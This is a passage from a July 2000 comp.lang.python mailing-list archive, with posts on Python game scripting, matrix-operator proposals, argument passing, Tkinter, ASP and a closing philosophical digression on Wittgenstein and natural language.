References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net>
Message-ID: <963990339.783645@marvin>

Mallor wrote in message ...
>Are any of you game developers out there using Python as your game engine's
>embedded scripting language?  I am wondering what drove your decision to use
>Python instead of other embeddable scripting languages?  I'd like to hear what
>your overriding concerns were, and also what they are now, having put Python to
>the test.


In the Open Source Crystal Space 3D engine we are working on a framework for python
scripting. It is already working reasonably well but you cannot yet do everything
that you'd want to do from a python script.

Greetings,


--
---------------------------------------------------------------------------
Jorrit Tyberghein (Jorrit.Tyberghein at uz.kuleuven.ac.be)
Project Manager of Crystal Space, a free and portable 3D 6DOF portal engine.
More info at: http://crystal.linuxgames.com
---------------------------------------------------------------------------





From aahz at netcom.com  Mon Jul 24 11:05:09 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 24 Jul 2000 15:05:09 GMT
Subject: Class static methods
References: <8lh6ri$dkl$1@nnrp1.deja.com>
Message-ID: <8lhlv5$6kl$1@slb3.atl.mindspring.net>

In article <8lh6ri$dkl$1 at nnrp1.deja.com>,
Guillaume  <forums at memoire.com> wrote:
>
>Well, now that I have class static vars, I need class static methods...
>Is it possible in Python ? Not sure...

Nope.  You have two options:

* generate an instance of the class and fake it through an instance
method (deprecated)

* segregate the class into its own module and use module-global
functions as proxies for class static methods (preferred)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From jkraska1 at san.rr.com  Sat Jul 22 23:04:13 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sun, 23 Jul 2000 03:04:13 GMT
Subject: Looping on more than one list
References: <3979C6F4.B1FF1800@atlsci.com> <8ldkf7$7km$1@nntp9.atl.mindspring.net>
Message-ID: <397A616E.A9549B93@san.rr.com>

> Not currently.  Look at all the threads about zip(), marry(), braid(),
> etc.

Perhaps this should be folded into the map function?
Ala, lisp:

(map nil #'(lambda (i j) ...) list-one list-two)


C/


From alex at magenta.com  Sun Jul 30 10:37:40 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 16:37:40 +0200
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com><slrn8o0n0b.qhk.grey@teleute.rpglink.com><8lpt57$hsu$2@newshost.accu.uu.nl><slrn8o10ko.rt1.grey@teleute.rpglink.com><8lq5q6$fn4$1@newshost.accu.uu.nl><slrn8o1do5.rt1.grey@teleute.rpglink.com><8lspdu$m7e$1@newshost.accu.uu.nl><slrn8o40d1.49c.grey@teleute.rpglink.com><20000728192952.A32288@exeter.exeter.org><slrn8o4aid.7dm.grey@teleute.rpglink.com><m3og3hjf79.fsf@gondolin.beleriand> <3h7la4bz5j.fsf@angband.org>
Message-ID: <8m1f0572n4o@news2.newsguy.com>

"Eric Lorenzo" <zo at angband.org> wrote in message
news:3h7la4bz5j.fsf at angband.org...
    [snip]
> def parse_die(s):
>     try:
>         g = parse_die_re.match(s).groups()
>     except AttributeError:
>         raise ValueError('Not a valid die expression')
>     return int(g[0]), int(g[1]), int(g[2] or 0)

I think it may be slightly preferable to express this as:

     try:
         g = parse_die_re.match(s).groups(0)
     except AttributeError:
         raise ValueError('Not a valid die expression')
     return map(int, g)


Alex





From paul at prescod.net  Sat Jul 15 00:00:14 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 14 Jul 2000 23:00:14 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be> <396F1914.DBE530CA@prescod.net> <f9jvmschdj3ihoouppp6fnsh3jhi6dq90h@4ax.com>
Message-ID: <396FE1CE.FE9967A8@prescod.net>

John Lull wrote:
> 
> ...
>
> The problem is that Python provides no way for an add-on module to
> define new operators.  

But that's not really an accident. There are languages that allow you to
define new operators. REBOL is the most flexible example. Python
emphasizes syntactic *simplicity*.

> Unfortunately, the current lack of appropriate notation makes these
> problems very difficult to code clearly.

Every domain of computing would be enhanced with special notation. Text
processing, XML, COM, databases, Web programming etc.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From hzhu at knowledgetrack.com  Mon Jul 24 17:44:04 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Mon, 24 Jul 2000 21:44:04 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m3n1j73iuz.fsf@chinon.cnrs-orleans.fr>
Message-ID: <slrn8npecb.3hv.hzhu@rocket.knowledgetrack.com>

On 24 Jul 2000 12:47:32 +0200, Konrad Hinsen <hinsen at cnrs-orleans.fr> wrote:
>> 
>> 1. Is it necessary to distiguish inner and outer?  With Greg's indexing
>>    rules these are essentially the same.  Six would be enough.
>
>What are "Greg's indexing rules"? Inner and outer product are entirely
>different operations in my mind, although in principle the inner
>product can be thought of as an outer product followed by a summation.
>I think that implementation issues also call for separate operators;
>using indexing tricks might be difficult for sparse matrices, for
>example.

Quote from Gregory Lielens ----------------------

maybe something as (I adopt (*) for matrix product, may the parser do
the same!)

a = b.i(1,2,-1,-2) (*) c.i(4,-2,3,-1)

for

a_ijkl = b_ijmn c_lnkm

------------------------------------- End quote

Is this enough for both outer product and inner product (which is outer and
contract)?  Outer product would be like

a = b.i(1,2,3,4) (*) c.i(5,6,7,8)


>They still look acceptable to me, but perhaps [*] etc. is better in
>the end. Indexing expressions are never as long as expressions in
>parentheses.

Yes, [*] looks much better.

Huaiyu


From root at 127.0.0.1  Thu Jul 27 15:35:46 2000
From: root at 127.0.0.1 (David)
Date: Thu, 27 Jul 2000 19:35:46 GMT
Subject: Python luddites (was Re: Type inference now simplicity)
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu> <20000727104408.A10021@inkontact.com.au>
Message-ID: <39808e81.145010138@news.telus.net>

On Thu, 27 Jul 2000 10:44:08 +1000, Steve Purcell
<stephen_purcell at yahoo.com> wrote:

>Shae Erisson wrote:
>> And I'm opposed to it because it seems like sugar to me. I've always
>> loved Python's simplicity, and I hope it stays that way.
>> Adding new operators and new syntax will make Python harder to read, and
>> harder to learn. I don't want that.
>
>Yay! Python luddites unite!

Hear, hear.
 
Hell, yeah, I'll use the new operators and syntax!  I freely admit it: I'm
lazy, I like shortcuts, I'll take the easy way out.
 
That doesn't mean I think it's a good idea for Python to offer them.
 
IMO, they're detrimental, and should not be offered.



From hzhu at localhost.localdomain  Thu Jul 13 23:40:19 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 14 Jul 2000 03:40:19 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396E7791.EE9D36FF@prescod.net>
Message-ID: <slrn8mt33m.sj.hzhu@localhost.localdomain>

On Thu, 13 Jul 2000 21:14:41 -0500, Paul Prescod <paul at prescod.net> wrote:
>> 
>> Point 1.  We _can_ assign a universal meaning to dot operators, as
>> "componentwise operators".  For example
>
>There is another proposal for allowing these types of operatoins:
>
>> [1, 2] .+ [3, 4]            # [4, 6]
>
>[x+y; for x in [1,2], y in [3,4]]

How about [x+y: x in [1,2], y in [3,4]]?  

But this has nothing to do with matrices, because one of their main virtue
is that you do not need to consider the indices.  How would you possibly
write A*B in this notation anyway?  Just a random line from my code, like

    s = tanh(A0*x+b0); y = A1*s + b1;

would take a dozen lines to do in the above way.

>Note that this feature is more general than a fixed list of operators:

That might be true, but mathematicians have spent hundreds of years to
distill the concepts to a very small list of operators that are extremely
useful.  Would you say that add(a,b) and mul(a,b) are more general type of
expressions than some special symbols like a+b and a*b?  Writing in asembly
may be even more general than any high level language.

Learn some linear algebra and you'll find that you could do some incredible
things with it.  It is not difficult (if the syntax is simple).  For
starters, just download the current version of MatPy from
http://MatPy.sourceforge.net/, untar, and type make install, and see the
graphics flow across your screen.

Huaiyu


From adetalabi at clara.co.uk  Tue Jul  4 07:26:23 2000
From: adetalabi at clara.co.uk (Ade Talabi)
Date: Tue, 04 Jul 2000 12:26:23 +0100
Subject: Socket problem
References: <slrn8m1p8s.2e9.thor@localhost.localdomain>
Message-ID: <3961C9DF.6AFF4D3D@clara.co.uk>

Manuel Gutierrez Algaba wrote:
> 
> I'm doing a game for my University. It's divided into 3 parts
> ( AI (clips), core(python), GUI(python)) communicated by sockets.
> I've been running it in Red Hat 4.2 happily.
> Now, I'm switching to Red Hat 6.0 and the core when
> trying to access to port 50008 it says:
> 
> ocket.error: (99, 'Cannot assign requested address')
> Exception exceptions.AttributeError: 'conn' in
> <method servidor_de_socket.__del__ of servidor_de_socket instance at 8194e40>
>  ignored
> Exception exceptions.AttributeError:
>  'delete non-existing instance attribute' in
> <method nucleo.__del__ of nucleo instance at 81939f8> ignored
> 
> Where is the fault ?
> 
> Thanks.
> 
> --
> MGA
check that /etc/services has got the port set
-- 
We see, whatever we want to see, whether visible or not 
- AT. June 2000.


From stianh at ifi.uio.no  Fri Jul 28 08:06:06 2000
From: stianh at ifi.uio.no (Stian Husemoen)
Date: 28 Jul 2000 12:06:06 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCEEJGGMAA.tim_one@email.msn.com>
Message-ID: <slrn8o2tn3.lbh.stianh@localhost.localdomain>

Tim Peters wrote:
>life-in-limboland-ly y'rs  - tim

I bow to the timbot for it's skills to dodge my puny troll-like flamebait 
postings <wink> 

But another question.. You say the new license will be GPL compatible. What
does this mean exactly? 

the-AI-serves-you-well-ly y'rs
-- 

Stian Husemoen <stianh>


From piet at cs.uu.nl  Mon Jul  3 10:52:47 2000
From: piet at cs.uu.nl (piet at cs.uu.nl)
Date: 03 Jul 2000 16:52:47 +0200
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <8jabvo014tv@news2.newsguy.com>
Message-ID: <uhfa7qn9c.fsf@cs.uu.nl>

>>>>> "Alex Martelli" <alex at magenta.com> (AM) writes:

AM> Don Tuttle <tuttledon at hotmail.com> wrote in message
AM> news:qJ165.8938$nZ5.153196 at typhoon.southeast.rr.com...
>> Consider this a heads up NOT a promotion!!

AM> Why would the Python community care about a Microsoft-proprietary
AM> quasi-Java-clone...?

It is not proprietary. They will put the language definition in the public
domain. Maybe not the implementation.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From spam at spam.com  Sun Jul  9 17:10:44 2000
From: spam at spam.com (Penfold)
Date: Sun, 9 Jul 2000 22:10:44 +0100
Subject: Pythonwin 1.5.2
References: <8kaij5$c9s$1@supernews.com> <Kr5a5.6646$_O.136642@news2-win.server.ntlworld.com> <8kaolt$flc$1@supernews.com>
Message-ID: <1S5a5.1617$6W.258543@nnrp4.clara.net>

Dale Strickland-Clark <dale at out-think.NOSPAM.co.uk> wrote in message
news:8kaolt$flc$1 at supernews.com...
> TAB! Thanks
>
> Oh for standards in keyboard shortcuts. What's wrong with ctrl-enter like
> Visual Studio?
>
> Dale Strickland-Clark

(i) Visual Studio defined the standard as of when ?
(ii) Microsofts VBA editors use Tab :-), and so you might find Visual Studio
accepts it too ...

Oh for standard signatures

D






From bvdpoel at uniserve.com  Sat Jul 15 19:31:33 2000
From: bvdpoel at uniserve.com (Bob van der Poel)
Date: Sat, 15 Jul 2000 16:31:33 -0700
Subject: converting tcl database file to python
Message-ID: <3970F455.58A6CAD3@uniserve.com>

I'd like to convert a program I have from tcl/tk to python/tkinter (I
just can't read the tcl stuff anymore!). The biggest initial problem I
have is converting the data from a tcl fromat to something python will
be happy with.

What I have is a database of my CD collection. The flat text file I'm
using for storage is read into a tcl list. Each line looks something
like:

	{#1 Million Sellers} {} Laurie Rock {} {Chapel of Love} {Dixie Cups} {}
{} ....

Tcl reads this and parses off the fields into the CDname, Comment,
Label, Catagory and then takes the remainder as 4 field entries for the
Title, Artist, Composer, and Timing. The 4 field groups continue to the
EOL.

So, 2 questions:

1. What would be a suitable python datatype to store the data? I'm
thinking that I could have a dictionary with the CD name as the key and
then have a bunch of lists associated with each dictionary entry. I'm
also thinking that this is dumb. If I were using C I'd use a structure
like this:

	typedef struct{
		char *Title, *Artist, *Composer, *Timing;
	}CDITEM;
	typedef struct{
		char *Name;
		char *Comment;
		char *Label;
		char *Catagory;
		char *CDItem[];
	}CDENTRY;

	CDENTRY Mydata[maxtitles];

Or something like that. Any suggestions on how that would translate to a
proper python idiom?

Maybe I should can the idea of having in-memory data and convert this
sucker to use a proper database idiom? Is there a reference/tutorial
document for gdbm somewhere?

2. Any quick ideas on how to convert the tcl-style data file to
something python can deal with? The initial problem is that some items
in the file are {} delimited and others are simply space delimited
(single words). I suppose the simpliest might be to write a tcl program
to read the stuff and then rewrite it to something resembling whatever
my new data format is going to be.

Thanks.


-- 
   __
  /  )      /         Bob van der Poel
 /--<  ____/__        bvdpoel at uniserve.com
/___/_(_) /_)         http://users.uniserve.com/~bvdpoel



From garry at sage.att.com  Mon Jul 10 14:22:12 2000
From: garry at sage.att.com (Garry Hodgson)
Date: Mon, 10 Jul 2000 18:22:12 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395E05CD.E38F642C@webamused.com> <396b3f42.316716812@nntp.interaccess.com> <Q4da5.125085$WS3.1096765@typhoon.we.rr.com> <8kcsu9$r9g$1@nnrp1.deja.com>
Message-ID: <396A1454.1F775E0F@sage.att.com>

Torgo Jr wrote:
> 
> In article <Q4da5.125085$WS3.1096765 at typhoon.we.rr.com>,
>   "Stephen Hansen" <stephen at cerebralmaelstrom.com> wrote:
> 
> > If Microsoft took the
> > CONCEPT of the Language, and made their /entire own language/
> > around the
> > /idea/ of it, then they havn't /copied/ anything.
> 
> They have copied the idea.  No crime here, but by doing this
> they ideally can't claim any kind of "innovation" (but they
> will most likely do anyways).

it never stopped them before.

-- 
Garry Hodgson                   Every night 
garry at sage.att.com                a child is born
Software Innovation Services        is a Holy Night.
AT&T Labs                         - Sophia Lyon Fahs


From sholden at bellatlantic.net  Wed Jul  5 08:57:52 2000
From: sholden at bellatlantic.net (Steve Holden)
Date: Wed, 05 Jul 2000 12:57:52 GMT
Subject: Is there a searchable archive of c.l.py
References: <Gj185.6536$Tb7.39716@news-server.bigpond.net.au> <8jq7l3$f1e$1@slb0.atl.mindspring.net>
Message-ID: <396330BC.DB5DCD00@bellatlantic.net>

Deja have "promised" to get the older archives back on line
when their new face is up and running.  Does anyone have any
personal contacts in that organization to ask if we can have
the data NOW to put a searchable archive up somewhere else?

regards
 Steve

Aahz Maruch wrote:
> 
> In article <Gj185.6536$Tb7.39716 at news-server.bigpond.net.au>,
> Neil Hodgson <neilh at scintilla.org> wrote:
> >
> >   Is there a sensibly searchable archive anywhere? In the future we will
> >need this resource. Otherwise how will we know how we beat those nanoviruses
> >back in '97?
> 
> Well, we've got the archive: http://www.python.org/pipermail/python-list/
> 
> Unfortunately, it only seems to go back to March '99.  Does anyone
> maintain an older archive?  Once we have the archive, making it
> searchable is a relatively trivial task.
> --
>                       --- Aahz (Copyright 2000 by aahz at netcom.com)
> 
> Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
> Hugs and backrubs -- I break Rule 6
> 
> The best way to get information on Usenet is not to ask a question,
> but to post the wrong information.  --Aahz

-- 
Helping people meet their information needs with training and technology.
703 967 0887   sholden at bellatlantic.net   http://home.cox.rr.com/sholden/


From donod at home.com  Tue Jul 25 23:29:51 2000
From: donod at home.com (Donald O'Donnell)
Date: Wed, 26 Jul 2000 03:29:51 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <8lldpn$n7a$1@news.dtc.hp.com>
Message-ID: <397E5B61.3C0B2B9D@home.com>

Don't know if it's good or bad as long as you understand how it behaves
and program accordingly.  The glitch is that Python treats built-in
types and class instances differently, as far as argument passing. 
Python's class instances (objects) behave more like Perl's:

    class cc:
        pass

    def f(a):
        a.v = 42

    c = cc()
    c.v = 1
    f(c)
    print c.v               # PRINTS 42

Don O'Donnell 

P.S. -
I've been studying and using Python for a couple weeks now - rewriting a
major main-frame app in Python.  It's the greatest invention since
chocolate chip cookies.  It's been around for 10 years, so how come I
haven't heard of it till now?  Either I'm out of touch (probably), or
Python needs more promoting and marketing.

It happened by accident, just happened to notice David Beasley's book on
a table in B&N one day, started leafing through it, and gradually
realized it was the answer to my prayers.  The perfect tool for porting
an interactive main-frame data analysis package (needing GUI and
scripting) to a wintel platform.  Thank you Guido and everyone else who
made my job possible and brought fun back to programming. (I love being
able to get inside and play with the machinery.  It's a lot like Forth
in that respect.)


"(Greg Weeks)" wrote:
> 
> (Greg Weeks) (weeks at golden.dtc.hp.com) wrote:
> : I prefer the old way of speaking.  With the new way of speaking, both
> : Python and Perl are "pass by reference", but Perl is somehow *more* so.
> 
> If it isn't clear what I mean, here's some Perl:
> 
>     sub f
>     {
>         $_[0] = 42;
>     }
> 
>     $x = 1;
>     f($x);
>     print "$x\n";               # PRINTS 42
> 
> and the corresponding Python:
> 
>     def f(a):
>         a = 42
> 
>     x = 1
>     f(x)
>     print x                     # PRINTS 1
> 
> Good Python!  Bad Perl!
> 
> Greg


From thomas at xs4all.net  Sun Jul 16 15:33:27 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 16 Jul 2000 21:33:27 +0200
Subject: Top 10 Language Constructs (Phyton)
In-Reply-To: <CNmc5.1325$6E.229335@ptah.visi.com>; from nobody@nowhere.nohow on Sun, Jul 16, 2000 at 06:03:14PM +0000
References: <8kmkam$m45$1@pollux.ip-plus.net> <8kpavi04id@news1.newsguy.com> <8kpt05$uj6$1@slb3.atl.mindspring.net> <qflc5.1316$6E.225996@ptah.visi.com> <8kss1j$s39$1@slb7.atl.mindspring.net> <CNmc5.1325$6E.229335@ptah.visi.com>
Message-ID: <20000716213327.Z7340@xs4all.nl>

On Sun, Jul 16, 2000 at 06:03:14PM +0000, Grant Edwards wrote:
> On 16 Jul 2000 17:40:03 GMT, Aahz Maruch <aahz at netcom.com> wrote:

> >I literally can't remember the last time I bothered visiting
> >AltaVista for anything other than a quick test to see if
> >they've improved their software, and I also warn other eyeballs
> >away from them.

> I gave up on altavista over a year ago and use google most of
> the time.  Back when altavista was just a demo of how big/fast
> a DEC machine could be, it seemed to provide (to me) useful
> info. Once it switched over to being an ad-driven
> profit-center, it went into the dumpster pretty quickly.

Hah! I can remember back when WWW search engines were a new and exciting
thing! And more importantly, no matter what you searched for, you never got
more than a few screenfulls of hits, and most of them were positive hits,
too. And if it didn't, a rephrasing of the search criteria solved the
problem. Compared to that, almost all searchengines nowadays are worthless.

That was before Netscape arrived and made the WWW popular, though ;) Anyone
remember Netscape's HTML 1.1 ? :)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From jasonives at hotmail.com  Thu Jul 27 20:16:13 2000
From: jasonives at hotmail.com (Jason Ives)
Date: Thu, 27 Jul 2000 17:16:13 -0700
Subject: Variables in strings..
References: <8lh75e+tjtl@eGroups.com> <119330503709.20000724135021@buz.ch> <see-EA76AC.22080126072000@news.dnai.com>
Message-ID: <so1ka2f3j1147@corp.supernews.com>

> 3) It's helpful to create two subclasses of UserDict: one I call
> PartialStringSubstitution that leaves alone any extra %(variable)s tags
> rather than raising a KeyError and another, NoKeyErrors, that replaces
> them with empty strings rather than raising a KeyError. I can post these
> if anyone wants to see them.

I'd love to see these! Sounds like they would help out with some cgi
development I'm doing.

~jason ives




From tim.hochberg at ieee.org  Wed Jul  5 19:06:17 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 05 Jul 2000 23:06:17 GMT
Subject: Two Tkinter questions (long)
References: <sn66qkgrfv.fsf@motorola.com> <QXO85.3118$iN5.767799@ptah.visi.com>
Message-ID: <JbP85.13738$ll.84983@news1.rdc1.az.home.com>

"Grant Edwards" <ge at nowhere.none> wrote in message
news:QXO85.3118$iN5.767799 at ptah.visi.com...
> In article <sn66qkgrfv.fsf at motorola.com>, Aaron Ginn wrote:
[SNIP]
> Functions bound to events need to take an event as a parameter
> (if you don't want the event, you can use lambda to discard it):
>
> self.filter_entry.bin('<Return>', labda event: self.do_filter())

You still needs to bind self to a default variable in order for it to be
accesible inside the lambda, e.g,

self.filter_entry.bin('<Return>', lambda event, self=self :
self.do_filter())

(I suspect this is just a typo on Grant's part, but I figure I'd clarify it
for Aaron...)

-tim




From gbreed at cix.compulink.co.uk  Fri Jul 14 12:16:31 2000
From: gbreed at cix.compulink.co.uk (gbreed at cix.compulink.co.uk)
Date: 14 Jul 2000 16:16:31 GMT
Subject: Downside to using Python in ASP/MS IIS server side?
References: <3973b7ce.945183441@news.online.no>
Message-ID: <8knecv$btb$1@plutonium.compulink.co.uk>

In article <3973b7ce.945183441 at news.online.no>, thomas at cintra.no (Thomas 
Weholt) wrote:
> We`re trying to use Python as script-language instead of VBScript in a
> MS IIS/MS Site Server solution. We have to access a MS SQL 7.0
> database too. Does anybody have any experience in something like this?
> All we want is to get rid of VBScript. ( At least, for now ;->)
> 
> Are there any obvios downsides to this? Will we get into trouble cuz
> Python cannot access the same stuff as VBScript etc. ??

The only downside is that the documentation is all geared for VBScript.  
Now I've got session variables sorted out, there's nothing I can do in 
VBScript that I can't do in Python.  There are lots of things I can do in 
Python that I can't do in VBScript, like connect to an SMTP server, import 
text from an HTTP request.  All the clever stuff in ASP comes from COM, 
and it translates right across.  Occasionally you get tuples returned when 
you don't expect them, but you'll get the hang of it.

> 
> Any hints, advice or possible case-studies would be great.
> 
> Thomas


From jacobs at darwin.epbi.cwru.edu.bbs  Mon Jul 17 15:50:04 2000
From: jacobs at darwin.epbi.cwru.edu.bbs (jacobs at darwin.epbi.cwru.edu.bbs)
Date: 17 Jul 2000 19:50:04 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRNNU$lzZ@openbazaar.net>

I've held back a few times from contributing my 0.02 cents, but here goes:

1) Python is a nifty language that allows its programmers to revel in
   the richness of its dynamic object model.

2) Such models are always subject to abuse and can result in horrible and
   unmaintainable hacks.  These are frequently disguised as nifty syntactic
   'features'.

3) Such attempts are bound to lead to terminal feeping-creaturism if not
   carefully kept out of the core language.

Ok, we all know this.  Most of us accept it.  Lets move on.  Thus far, I am
in line with the main-stream non-linear algebra proponents. However, I'd
love to see clean linear algebra implemented in Python.  So the dilemma is
how to make the marriage work.

First, Huaiyu has done an outstanding job as not only an advocate, but
implementor, of such a hybrid system.  This is always the first step.
People can complain about the lack of something from now until doomsday, but
without someone at bat nothing will ever happen.  So, we have a critical
mass.  Now what?  Now he is asking for advice and guidance.  And what do we
tell him?  I'm sure that both (all) camps know their party lines at this
point, but it seems to me that little constructive has been done to work
around the issues.  So, here I go.  Brainstorming...

Silly idea 1:

  Until add-on Python grammar modules are available, what about a PyAlgebra
  evaluator module.  For a precedent, see regular expressions.  The
  difference is that linear-algebra syntax can be made too Python-like for
  some tastes.

  e.g.:

  import PyAlgebra

  PyAlgebra.run(r'A = (A .* B)\C')
  e = PyAlgebra(r"D = A'*B")
  e.run() # or e()

Admittedly, its not perfect, nor optimally compact, but it is no longer
encumbered by having to support the full Python grammar and is free to
redefine as much as necessary.

Silly idea 2:

  How about a "Linear-Algebra Python" to "Stock Python" translator.  Parsing
  Python isn't rocket science, so a fairly simple source-to-source
  translator can hide all the new syntax and turn it into redistributable
  stock but ugly Python code.  No fuss or muss, assuming that the original
  source is available when necessary.

Silly idea 3:

  Lets continue arguing until everyone, both pro and con, gets irritated,
starts calling each other Nazis and gives up.

Feel free to chime in!

-Kevin


--
----------->  Kevin Jacobs  <-----------|------->  (216) 778-8211  <--------
S.A.G.E. Project Technical Coordinator  | Department of Epidemiology
  & System Administrator                |   & Biostatistics
Internet E-mail: jacobs at darwin.cwru.edu | Case Western Reserve University
----------------------------------------------------------------------------


From dnotspam-jen at personic.com  Sun Jul  2 18:19:38 2000
From: dnotspam-jen at personic.com (donotspam-jen@personic.com)
Date: Sun, 2 Jul 2000 15:19:38 -0700
Subject: Communicating between two computers
References: <395d48b3$0$21842@wodc7nh0.news.uu.net> <uem5e38if.fsf@ctwd0143.fitlinxx.com>
Message-ID: <395fbd8c$0$5622@wodc7nh0.news.uu.net>

I checked out the link, but from what I read, it sounds like this is a
client-side implementation only.  Is there more info on this somewhere?
Maybe some examples of how to use this?

Thanks!

Jen


"David Bolen" <db3l at fitlinxx.com> wrote in message
news:uem5e38if.fsf at ctwd0143.fitlinxx.com...
> Well, there's probably no end to the number of protocols and methods
> by which you could get the machines to talk, but given that it's
> Python invoking Python, you might take a peek at Fredrik Lundh's
> XML-RPC library.  XML-RPC was sort of the precursor to SOAP.  Similar
> in concept, but it's dirt simple to get two Python processes
> communicating (calling arbitrary methods with any Python objects and
> returning any Python objects).
>
> See http://www.pythonware.com/products/xmlrpc/index.htm.





From alex at magenta.com  Fri Jul 28 06:57:31 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 12:57:31 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com>
Message-ID: <8lrp6k0utp@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o2fgr.1e2.grey at teleute.rpglink.com...
> On 28 Jul 2000 19:46:29 +1200, Paul Foley <see at below> wrote:
> >The distinction you're trying to make (between "types" and "just
> >data") is rather foolish.  Data are the things that have types.
>
>     Rather foolish?  For whom?  Humans don't think in "integer" and "long
> integers" or "strings".  We think in terms of data whose exact value,
"type",
> is determined by context alone.

Human language, and human thought, are really all like this: fuzzy,
imprecise,
vague, ambiguous, highly context-dependent.  Ludwig von Wittgenstein, in
my opinion (and not mine only:-), is the thinker who most lucidly explored
this
issue -- in a manner all the more striking because, in his youth, he took
such
a drastically different tack, striving to define the conditions for "proper"
speech,
by which he meant speech (and thought) logical, precise, specific,
effective.

He concludes his first masterpiece, the "Tractatus Logico-Philosophicus", by
the famous admonition "Whereof you cannot speak, thereof must you be
silent".  The main implication of which is that there ARE things, extremely
significant ones as it happens, of which "speech" (in the logical, etc)
sense
is just unfeasible (e.g., earlier in the Tractatus, "The Mystical cannot be
spoken
of: it SHOWS itself").

Alas, a built-in contradiction lies at the root of this -- because, among
the
Unspeakable things, are most of those which the Tractatus speaks of!-)

Young W, quite aware of this, makes heroic attempts to talks his way around
the issue ("this is just a ladder, to be discarded once you've used it to
climb" -- I'm quoting by memory, and no doubt unreliably).  But the fact
remains that humans WANT to speak, most of all, about "unspeakable"
things (in the precise, young-Wittgensteinian sense of "speech").  And
precision, sharpness, logical rigour, are just unfeasible in such domains.


And so, after decades of development and reflection, does Wittgenstein
come up with the framing best displayed in the postumously published
"Philosophical Investigations" (alas, not a finished work: he never thought
it ready for publication).  "Whatever we're talking about, we are talking
about the natural history of human beings".  Language -- actual use of
speech -- is a collection of language-games that are played out, for
biological reasons connected to how evolution shaped us, in their various,
separate contexts.  Rigour, sharpness, precision, are ideals never to be
attained (save by hypothetical inhuman-speakers), and their relentless
pursuit can be a snare and a delusion.


Now this framing leads to an interesting perspective regarding the
unceasing stream of requests for computers to be able to handle
"natural language".  This really translates to a request that the machines
be able to deal with deliberate and accidental ambiguity, mixed signals,
vagueness, imprecision, fuzzy requests that had better be ignored, all
the mix of issues that human being themselves often have trouble with
(else, young geniuses would not spend years writing "Tractatus"-like
pleads for precision, sharpness, logic...:-), and are, roughly speaking,
able to disambiguate/resolve by relying on shared context, which is
largely cultural but ultimately rests on biological foundations.

Yes, I would call this quest "foolish", just as I would call Don Quichote's
quest for unattainable chivalric ideals, young Wittgenstein's quest for
unassailable, perfect sharpness in language, and many other ones of
humanity's noblest pursuits.  This is a strictly descriptive term and does
not imply value-judgments in the general case; we'd all be less human,
and poorer for it, if all of humanity's efforts were always bent towards
practical, attainable, sensible ends (besides, pragmatically speaking,
a tiny fraction of such 'foolish' projects ends up with often-unexpected
side benefits of such magnitude as to repay humanity, collectively, for
all of what a bean-counter could consider "wasted" effort; although it's
not a strictly good example, since the collective benefits are highly
debatable, an analogy might be Columbus' foolish quest for a way West
towards Asia -- unattainable due to Earth's actual girth, which he should
have known but had wilfully blinded himself to, but serendipitously ending
